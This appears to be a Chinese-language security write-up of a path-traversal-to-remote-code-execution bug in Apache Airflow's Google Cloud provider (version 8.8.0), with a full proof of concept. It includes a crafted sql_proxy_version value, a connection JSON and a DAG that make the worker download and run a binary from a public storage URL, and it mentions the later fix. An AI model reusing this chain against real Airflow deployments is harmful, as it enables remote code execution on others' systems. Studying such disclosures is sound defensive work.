Apache Airflow Google Cloud Provider 在所有版本(验证版本为8.8.0)中由于 cloud_sql.py 类中没有对参数进行有效过滤,攻击者可在与 CloudSQLDatabaseHook建立连接时传入恶意的 sql_proxy_version 参数,从而使得向外下载恶意文件并执行,最终导致执行恶意代码。
airflow中对谷歌云支持的相关功能都在apache-airflow-providers-google中,其中在airflow\providers\google\cloud\hooks\cloud_sql.py中操作google cloud sql实例时,代码逻辑里面会从指定url下载google cloud proxy二进制文件,并直接运行该二进制文件,之后才能操作google cloud sql实例。以下是代理程序下载的逻辑。
其中下载的url在指定了sql_proxy_version参数时,会将用户在连接参数里面设置的sql_proxy_version拼接到CLOUD_SQL_PROXY_VERSION_DOWNLOAD_URL
里面,而后续只是用状态码200作为判断代理文件是否下载成功,这意味着我似乎可以在sql_proxy_version
加入../
来穿越到其他目录和路径,去下载其他二进制文件,达到远程命令执行。经过搜索相关资料,发现storage.googleapis.com这个域名是谷歌云存储的公共访问域名,这意味着我也可以在上面存我自己的东西。
基础环境
airflow 2.5.1
apache-airflow-providers-google 8.8.0
使用docker compose进行搭建
编写如下exec.cpp文件
#include<stdlib.h> using namespace std; int main(){ system("mkdir /tmp/hello"); return 0; }
在一个linux环境下,使用g++进行编译,并重命名为system
将编译好的system恶意可执行文件放置到google cloud storage,并设置权限为公开,本次利用我的地址为https://storage.googleapis.com/swordlight/system
在Admin->Connections下创建如下名为aaa的Google Cloud SQL Database连接
其中Host、Schema、Login、Port为必填,填上符合格式的内容即可
其中Extra填写实际的内容如下,其中注意的是sql_proxy_version设置为../swordlight/system?a=
{ "project_id":"pivotal-gearing-375804", "instance":"hellopg", "location":"us-central1-b", "database_type":"postgres", "use_proxy":"True", "use_ssl":"False", "sql_proxy_use_tcp":"True", "sql_proxy_version":"../swordlight/system?a=", "sslcert":"", "sslkey":"", "sslrootcert":"" }
创建一个使用到CloudSQLExecuteQueryOperator运算符的google_test.py脚本,后台放置到/opt/airflow/dags目录,使得其能被airflow自动加载,内容如下,其中gcp_cloudsql_conn_id设置为我们上述建立的连接名称aaa
from __future__ import annotations import os import subprocess from datetime import datetime from os.path import expanduser from urllib.parse import quote_plus from airflow import models from airflow.providers.google.cloud.operators.cloud_sql import CloudSQLExecuteQueryOperator SQL = [ "CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)", "CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)", # shows warnings logged "INSERT INTO TABLE_TEST VALUES (0)", "CREATE TABLE IF NOT EXISTS TABLE_TEST2 (I INTEGER)", "DROP TABLE TABLE_TEST", "DROP TABLE TABLE_TEST2", ] postgres_kwargs = dict( user="postgres", password=r"ktd2(%EzQ5", public_port="5432", public_ip="34.122.52.6", project_id="pivotal-gearing-375804", location="us-central1-b", instance="hellopg", database="postgres", client_cert_file="key/postgres-client-cert.pem", client_key_file=".key/postgres-client-key.pem", server_ca_file=".key/postgres-server-ca.pem", ) # Postgres: connect via proxy over TCP os.environ["AIRFLOW_CONN_PROXY_POSTGRES_TCP"] = ( "gcpcloudsql://{user}:{password}@{public_ip}:{public_port}/{database}?" "database_type=postgres&" "project_id={project_id}&" "location={location}&" "instance={instance}&" "use_proxy=True&" "sql_proxy_use_tcp=True".format(**postgres_kwargs) ) connection_names = [ "proxy_postgres_tcp", ] with models.DAG( dag_id="example_gcp_sql_query", start_date=datetime(2021, 1, 1), catchup=False, tags=["example"], ) as dag: prev_task = None task = CloudSQLExecuteQueryOperator( gcp_cloudsql_conn_id="aaa",gcp_conn_id="proxy_postgres_tcp",task_id="example_gcp_sql_task_proxy_postgres_tcp" , sql=SQL ) if prev_task: prev_task >> task prev_task = task # [END howto_operator_cloudsql_query_operators]
在UI管理界面开启我们的google_test.py脚本对应的example_gcp_sql_query dag,并运行
点击进去,通过Graph 菜单查看运行图,以及日志
从日志中可以看出受害机器向我们的谷歌云存储地址https://storage.googleapis.com/swordlight/system 下载了system文件,并重命名为/tmp/39cl4def_cloud_sql_proxy,然后并运行
同时进入worker的后台也可以看到hello文件夹被创建成功
在airflow没有开启认证情况下,攻击者可以修改已有的连接配置信息,使得系统中使用到CloudSQLExecuteQueryOperator的dags在运行时会执行恶意命令。使用docker安装默认是带有apache-airflow-providers-google的,不过默认情况下并没有使用CloudSQLExecuteQueryOperator运算符的DAG,所以还是有点鸡肋的。
官方后续对传进去的sql_proxy_version
使用正则表达式进行了严格的校验
之后无法在sql_proxy_version中加入其他字符进行目录穿越了。